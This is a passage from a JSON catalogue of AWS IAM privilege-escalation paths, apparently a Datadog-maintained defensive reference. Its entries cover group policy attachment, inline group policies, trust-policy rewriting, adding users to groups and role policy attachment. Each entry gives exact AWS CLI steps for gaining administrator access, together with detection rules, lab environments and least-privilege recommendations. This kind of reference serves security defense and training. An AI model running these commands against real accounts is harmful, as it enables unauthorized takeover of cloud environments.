      "A managed IAM policy with elevated privileges must exist in the account"
    ],
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam attach-group-policy --group-name @groupname --policy-arn arn:aws:iam::aws:policy/AdministratorAccess",
          "description": "Attach the AdministratorAccess managed policy to the group"
        },
        {
          "step": 2,
          "command": "aws sts get-caller-identity",
          "description": "Verify the new permissions are active"
        }
      ]
    },
    "recommendation": "Restrict access to `iam:AttachGroupPolicy` using the principle of least privilege. Very few principals need this permission, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.",
    "limitations": "This path provides administrative access only if an administrative managed policy (e.g., AdministratorAccess) exists in the AWS account. If only limited managed policies are available, the attacker gains access limited to those permissions. However, even limited privilege escalation may enable multi-hop attacks or access to sensitive data.",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachuserpolicy--iamattachgrouppolicy"
      },
      {
        "title": "HackingTheCloud - AttachGroupPolicy Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamattachgrouppolicy"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 08",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      }
    ],
    "relatedPaths": [
      "iam-008",
      "iam-011"
    ],
    "detectionTools": {
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L120",
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L162",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L33"
    },
    "detectionRules": [
      {
        "platform": "CloudSIEM",
        "url": "https://docs.datadoghq.com/security/default_rules/7b6-2a8-df9/"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-self-escalation/to-admin/iam-attachgrouppolicy",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-AttachGroupPolicy",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/lessons/iamattachgrouppolicy-solution/",
        "scenarioPricingModel": "paid"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting User",
          "type": "principal",
          "description": "The IAM user initiating the attack. Must be a member of the target group and have iam:AttachGroupPolicy permission on that group. This attack path requires a user (not a role) because group membership only applies to IAM users.\n"
        },
        {
          "id": "target_group",
          "label": "Existing target-group",
          "type": "resource",
          "description": "The IAM group that the starting user is a member of. The user must have iam:AttachGroupPolicy permission on this specific group resource. Once an admin policy is attached to this group, all members of the group (including the attacker) inherit those permissions.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "After attaching an administrative managed policy (such as AdministratorAccess) to the group, the starting user immediately gains full administrative access to the AWS account. All group members inherit the attached policy's permissions.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_group",
          "label": "Member of group",
          "description": "The starting user must be a member of the target group. This is a prerequisite for the attack to work, as IAM permissions granted to groups are automatically inherited by all member users.\n"
        },
        {
          "from": "target_group",
          "to": "admin",
          "label": "iam:AttachGroupPolicy",
          "description": "Execute the iam:AttachGroupPolicy API call to attach an administrative managed policy to the group. The AdministratorAccess policy is the most common choice, but any managed policy with elevated privileges can be used.\n\nCommand:\n```bash\naws iam attach-group-policy \\\n  --group-name @groupname \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n\nThe policy attachment takes effect immediately. All users in the group (including the attacker) now have the permissions granted by the attached policy. Verify with: `aws sts get-caller-identity` followed by testing an admin action.\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:AttachGroupPolicy",
          "resourceConstraints": "Target group must be in the Resource section. For self-escalation, must have permission on a group the principal belongs to."
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-010.yaml"
  },
  {
    "id": "iam-011",
    "name": "iam:PutGroupPolicy",
    "category": "self-escalation",
    "services": [
      "iam"
    ],
    "description": "Anyone with access to `iam:PutGroupPolicy` can attach inline policies to any group they have this permission on. This permission is often abused by one principal to grant additional permissions to themselves by attaching an inline policy to a group they are a member of.",
    "prerequisites": [
      "Principal must be a user (not a role)",
      "Principal must be a member of the target group"
    ],
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam put-group-policy --group-name @groupname --policy-name @policyname --policy-document file://escalation_policy.json",
          "description": "Attach an inline policy with elevated permissions to the group"
        },
        {
          "step": 2,
          "command": "aws sts get-caller-identity",
          "description": "Verify the new permissions are active"
        }
      ]
    },
    "recommendation": "Restrict access to `iam:PutGroupPolicy` using the principle of least privilege. Very few principals need this permission, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.",
    "limitations": "This path provides administrative access because the attacker controls the policy document content. The attacker can embed any permissions directly into the principal, guaranteeing administrative access regardless of what policies exist in the environment. However, even limited additional permissions may enable multi-hop attacks.",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachrolepolicy--stsassumeroleiamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy"
      },
      {
        "title": "HackingTheCloud - PutGroupPolicy Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamputgrouppolicy"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 11",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      }
    ],
    "relatedPaths": [
      "iam-005",
      "iam-007",
      "iam-010"
    ],
    "detectionTools": {
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L123",
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L409",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L35"
    },
    "detectionRules": [
      {
        "platform": "CloudSIEM",
        "url": "https://docs.datadoghq.com/security/default_rules/7b6-2a8-df9/"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-self-escalation/to-admin/iam-putgrouppolicy",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-PutGroupPolicy",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/lessons/lab-ctf-iamputgrouppolicy-privesc/",
        "scenarioPricingModel": "free"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting User",
          "type": "principal",
          "description": "The IAM user initiating the attack. Must be a member of a target group and have iam:PutGroupPolicy permission on that group. This attack only works for IAM users since roles cannot be members of groups.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The inline policy is immediately applied to all members of the group, including the starting user. The user gains all permissions specified in the new inline policy, including full administrative access if that was included.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "admin",
          "label": "iam:PutGroupPolicy",
          "description": "Execute the iam:PutGroupPolicy API call to attach an inline policy with administrative permissions to a group that the starting user is a member of.\n\nExample command:\n```bash\naws iam put-group-policy \\\n  --group-name @groupname \\\n  --policy-name @policyname \\\n  --policy-document file://escalation_policy.json\n```\n\nThe inline policy is immediately applied to the group. All members of the group (including the attacker) now have the permissions specified in the new policy. The user can verify their new permissions with `aws sts get-caller-identity` or by attempting to use the new permissions.\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PutGroupPolicy",
          "resourceConstraints": "Target group must be in the Resource section. For self-escalation, must have permission on a group the principal belongs to."
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-011.yaml"
  },
  {
    "id": "iam-012",
    "name": "iam:UpdateAssumeRolePolicy",
    "category": "principal-access",
    "services": [
      "iam"
    ],
    "description": "Anyone with access to `iam:UpdateAssumeRolePolicy` can modify the trust policy of any role they have this permission  on. This permission is often abused by one principal to modify a privileged role's trust policy to allow themselves to assume   it, thereby gaining access to the privileged role's permissions. You might think that you would also need `sts:AssumeRole` permission to exploit this, but if you update the role policy of the target role to trust you explicitly (your full arn, not ACCOUNT_ID:root), then you do not need sts:AssumeRole permission to assume the role.",
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam update-assume-role-policy --role-name @rolename --policy-document file://trust_policy.json",
          "description": "Update the role's trust policy to allow your principal to assume it"
        },
        {
          "step": 2,
          "command": "aws sts assume-role --role-arn arn:aws:iam::123456789012:role/@rolename --role-session-name exploit",
          "description": "Assume the privileged role"
        },
        {
          "step": 3,
          "command": "# Configure AWS CLI with the temporary credentials from assume-role",
          "description": "Use the elevated permissions of the assumed role"
        }
      ]
    },
    "recommendation": "Restrict access to `iam:UpdateAssumeRolePolicy` using the principle of least privilege. Very few principals need this permission, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.",
    "limitations": "This path provides administrative access only if the attacker modifies a role that has administrative permissions. The attacker gains whatever permissions the modified role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks.",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamupdateassumerolepolicy"
      },
      {
        "title": "HackingTheCloud - UpdateAssumeRolePolicy Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamupdateassumerolepolicy"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 14",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      }
    ],
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/iam_edges.py#L131",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L126",
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L498",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L39"
    },
    "detectionRules": [
      {
        "platform": "CloudSIEM",
        "url": "https://docs.datadoghq.com/security/default_rules/7b6-2a8-df9/"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-updateassumerolepolicy",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-UpdatingAssumeRolePolicy",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:UpdateAssumeRolePolicy permission on the target role. Can be an IAM user or role with permission to modify trust policies.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role (Trust Policy to be Modified)",
          "type": "principal",
          "description": "The target IAM role whose trust policy will be modified. The attacker modifies this role's trust policy to allow themselves to assume it, thereby gaining access to all permissions attached to the role.\n"
        },
        {
          "id": "assumed_role",
          "label": "Target Role (assumed)",
          "type": "principal",
          "description": "The target role after being assumed by the attacker. The attacker now has temporary credentials with all the permissions of this role.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "Full administrative access to the AWS account when the target role has AdministratorAccess or equivalent permissions.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The target role has some elevated permissions. Check for data access (S3, RDS, DynamoDB) or additional privilege escalation paths.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The target role has no interesting permissions beyond what the starting principal already had.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_role",
          "label": "iam:UpdateAssumeRolePolicy",
          "description": "Execute iam:UpdateAssumeRolePolicy to modify the target role's trust policy to allow the starting principal to assume it. This adds the starting principal's ARN to the role's trust policy.\n\nCommand:\n```bash\naws iam update-assume-role-policy \\\n  --role-name @rolename \\\n  --policy-document file://trust_policy.json\n```\n\nThe trust_policy.json file should contain the starting principal's ARN in the Principal section.\n"
        },
        {
          "from": "target_role",
          "to": "assumed_role",
          "label": "sts:AssumeRole",
          "description": "After modifying the trust policy, assume the target role using sts:AssumeRole. This returns temporary credentials with all the permissions of the target role.\n\nCommand:\n```bash\naws sts assume-role \\\n  --role-arn arn:aws:iam::123456789012:role/@rolename \\\n  --role-session-name exploit\n```\n\nConfigure the AWS CLI with the temporary credentials from the assume-role response.\n"
        },
        {
          "from": "assumed_role",
          "to": "admin",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent permissions, the attacker gains full administrative access to the account.\n"
        },
        {
          "from": "assumed_role",
          "to": "some_perms",
          "label": "If role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has some elevated permissions, check for data access (S3, RDS, DynamoDB) or additional privilege escalation paths.\n"
        },
        {
          "from": "assumed_role",
          "to": "no_access",
          "label": "If role has no interesting permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, there may be no meaningful privilege escalation achieved.\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:UpdateAssumeRolePolicy",
          "resourceConstraints": "Target role must be in the Resource section"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListUsers",
          "resourceConstraints": "Helpful for discovering target users"
        },
        {
          "permission": "iam:GetUser",
          "resourceConstraints": "Useful for viewing user details"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-012.yaml"
  },
  {
    "id": "iam-013",
    "name": "iam:AddUserToGroup",
    "category": "self-escalation",
    "services": [
      "iam"
    ],
    "description": "A principal with `iam:AddUserToGroup` can add any user to any group they have this permission on. By adding themselves to a group with elevated permissions, they can gain access to the policies attached to that group. The level of access gained depends on the permissions of the target group.",
    "prerequisites": {
      "admin": [
        "A group must exist with administrative permissions (e.g., AdministratorAccess)"
      ],
      "lateral": [
        "A group must exist with some level of permissions"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam add-user-to-group --user-name @username --group-name @privileged-group",
          "description": "Add the target user (or yourself) to a group with elevated permissions"
        },
        {
          "step": 2,
          "command": "aws sts get-caller-identity",
          "description": "Verify the new permissions are active"
        }
      ]
    },
    "recommendation": "Restrict access to `iam:AddUserToGroup` using the principle of least privilege. Only allow users to add users to groups they are authorized to manage. Very few principals need this permission, so it should be restricted to only the few principals that need it.\n\nUse IAM policy conditions to restrict which groups users can be added to:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:AddUserToGroup\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:group/SpecificGroup\"\n}\n```\n\nMonitor CloudTrail for unusual AddUserToGroup activity, especially adding users to privileged groups.\n",
    "limitations": "This path provides administrative access only if the target user or group has administrative permissions. The attacker gains whatever permissions the target principal has. If the target has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "IAM Vulnerable - AddUserToGroup",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamaddusertogroup"
      },
      {
        "title": "HackingTheCloud - AddUserToGroup Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamaddusertogroup"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 13",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      }
    ],
    "relatedPaths": [
      "iam-008",
      "iam-010"
    ],
    "detectionTools": {
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L115",
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L572",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L38"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-self-escalation/to-admin/iam-addusertogroup",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-AddUserToGroup",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/lessons/lab-ctf-iamaddusertogroup-privesc/",
        "scenarioPricingModel": "paid"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:AddUserToGroup permission on the target group. Can be an IAM user or role with permission to add users to groups with elevated permissions.\n"
        },
        {
          "id": "target_group",
          "label": "Existing target-group",
          "type": "resource",
          "description": "The target IAM group with elevated permissions. The attacker adds a user (themselves or another user) to this group to gain access to all policies attached to the group.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "Full administrative access to the AWS account when the target group has AdministratorAccess or equivalent permissions attached.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The target group has some elevated permissions. Check for data access (S3, RDS, DynamoDB) or additional privilege escalation paths.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The target group has no interesting permissions beyond what the starting principal already had.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_group",
          "label": "iam:AddUserToGroup",
          "description": "Execute iam:AddUserToGroup to add a user to the target group. The user immediately gains access to all policies attached to that group. You can add yourself (if you're a user) or add another user and then create access keys for them.\n\nCommand: `aws iam add-user-to-group --user-name @username --group-name @privileged-group`\n"
        },
        {
          "from": "target_group",
          "to": "admin",
          "label": "If group has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target group has AdministratorAccess or equivalent permissions attached, the attacker gains full administrative access to the account.\n"
        },
        {
          "from": "target_group",
          "to": "some_perms",
          "label": "If group has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target group has some elevated permissions, check for data access (S3, RDS, DynamoDB) or additional privilege escalation paths.\n"
        },
        {
          "from": "target_group",
          "to": "no_access",
          "label": "If group has no interesting permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target group only has minimal permissions, there may be no meaningful privilege escalation achieved.\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:AddUserToGroup",
          "resourceConstraints": "Target group must be in the Resource section"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListUsers",
          "resourceConstraints": "Helpful for discovering target users"
        },
        {
          "permission": "iam:GetUser",
          "resourceConstraints": "Useful for viewing user details"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-013.yaml"
  },
  {
    "id": "iam-014",
    "parent": {
      "id": "iam-009",
      "modification": "This variation combines iam:AttachRolePolicy with sts:AssumeRole for lateral movement to another role (requires trust policy configuration)"
    },
    "name": "iam:AttachRolePolicy + sts:AssumeRole",
    "category": "principal-access",
    "services": [
      "iam"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:AttachRolePolicy",
          "resourceConstraints": "Must have access to attach policies to the target role"
        },
        {
          "permission": "sts:AssumeRole",
          "resourceConstraints": "Must have permission to assume the target role"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles that can be modified"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies to identify assumable roles"
        },
        {
          "permission": "iam:ListAttachedRolePolicies",
          "resourceConstraints": "Helpful for viewing current role permissions before and after modification"
        }
      ]
    },
    "description": "This is a variation of `iam:AttachRolePolicy` (iam-009). This variation is needed when you have `iam:AttachRolePolicy` permission on another role (not your own principal). In this scenario, you cannot directly escalate your own privileges, but you can escalate by modifying a different role and then assuming it. This requires both `iam:AttachRolePolicy` on the target role AND `sts:AssumeRole` permission. Critically, the target role must also be configured with a trust policy that explicitly allows your principal to assume it. You attach an administrative policy to the target role, then assume that role to gain the elevated privileges. Even if the target role initially has minimal or no privileges, this combination creates a complete privilege escalation path to administrative access.",
    "prerequisites": {
      "admin": [
        "A target role must exist that you have `iam:AttachRolePolicy` permission on",
        "You must have `sts:AssumeRole` permission scoped to the target role",
        "**Critical**: The target role must have a trust policy that explicitly allows your principal to assume it (e.g., your user or role ARN must be in the Principal element of the role's trust policy)",
        "The starting principal must have both permissions (iam:AttachRolePolicy AND sts:AssumeRole) scoped to the same target role",
        "An AWS-managed or customer-managed policy with administrative permissions must exist that you can attach (e.g., AdministratorAccess)"
      ],
      "lateral": [
        "A target role must exist that you have `iam:AttachRolePolicy` permission on",
        "You must have `sts:AssumeRole` permission scoped to the target role",
        "**Critical**: The target role must have a trust policy that explicitly allows your principal to assume it (e.g., your user or role ARN must be in the Principal element of the role's trust policy)",
        "The starting principal must have both permissions (iam:AttachRolePolicy AND sts:AssumeRole) scoped to the same target role"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "# Get account ID\nACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text)\nTARGET_ROLE=\"target-role-name\"\nTARGET_ROLE_ARN=\"arn:aws:iam::$ACCOUNT_ID:role/$TARGET_ROLE\"\n",
          "description": "Retrieve the AWS account ID and set the target role ARN"
        },
        {
          "step": 2,
          "command": "# Attach AdministratorAccess policy to the target role\naws iam attach-role-policy \\\n  --role-name $TARGET_ROLE \\\n  --policy-arn \"arn:aws:iam::aws:policy/AdministratorAccess\"\n",
          "description": "Attach the AWS-managed AdministratorAccess policy to the target role"
        },
        {
          "step": 3,
          "command": "# Wait for IAM policy changes to propagate (15 seconds)\nsleep 15\n",
          "description": "Wait for the policy attachment to propagate across AWS infrastructure"
        },
        {
          "step": 4,
          "command": "# Verify the policy was attached\naws iam list-attached-role-policies \\\n  --role-name $TARGET_ROLE \\\n  --query 'AttachedPolicies[*].[PolicyName,PolicyArn]' \\\n  --output table\n",
          "description": "Verify that AdministratorAccess is now attached to the target role"
        },
        {
          "step": 5,
          "command": "# Assume the target role with admin permissions\nCREDENTIALS=$(aws sts assume-role \\\n  --role-arn $TARGET_ROLE_ARN \\\n  --role-session-name privesc-session \\\n  --query 'Credentials' \\\n  --output json)\n\n# Export the temporary credentials\nexport AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKeyId')\nexport AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.SecretAccessKey')\nexport AWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.SessionToken')\n",
          "description": "Assume the target role to obtain temporary credentials with administrative permissions"
        },
        {
          "step": 6,
          "command": "# Verify administrative access\naws iam list-users --max-items 5\n",
          "description": "Verify that you now have administrative access by listing IAM users"
        }
      ]
    },
    "limitations": "The attack provides administrative access only if an admin policy (like AdministratorAccess) is attached to the role. However, the attacker could attach any AWS-managed or customer-managed policy they have visibility into, so the level of access depends on available policies.\n",
    "recommendation": "Restrict `iam:AttachRolePolicy` and `sts:AssumeRole` using the principle of least privilege. These permissions should rarely be granted together on the same target role.\n\n**Prevention strategies:**\n\n1. Use IAM policy conditions to restrict which policies can be attached:\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:AttachRolePolicy\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT:role/SpecificRole\",\n  \"Condition\": {\n    \"ArnNotEquals\": {\n      \"iam:PolicyARN\": [\n        \"arn:aws:iam::aws:policy/AdministratorAccess\",\n        \"arn:aws:iam::aws:policy/PowerUserAccess\"\n      ]\n    }\n  }\n}\n```\n\n2. Implement Service Control Policies (SCPs) to prevent attachment of highly privileged managed policies\n\n3. Use IAM permissions boundaries to limit the maximum permissions a role can have, even if admin policies are attached\n\n4. Separate the permissions - avoid granting both `iam:AttachRolePolicy` and `sts:AssumeRole` to the same principal for the same role\n\n5. Require MFA for both policy attachment operations and role assumption\n\n**Detection strategies:**\n\nMonitor CloudTrail for the following event patterns:\n- `AttachRolePolicy` API calls, especially when followed by `AssumeRole` on the same resource within a short time window\n- Attachment of AWS-managed policies like `AdministratorAccess` or `PowerUserAccess` to roles\n- Role assumption events (`AssumeRole`) that follow policy modification events\n\nSet up CloudWatch alarms for unexpected changes to role policies and investigate any modifications to role permissions.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
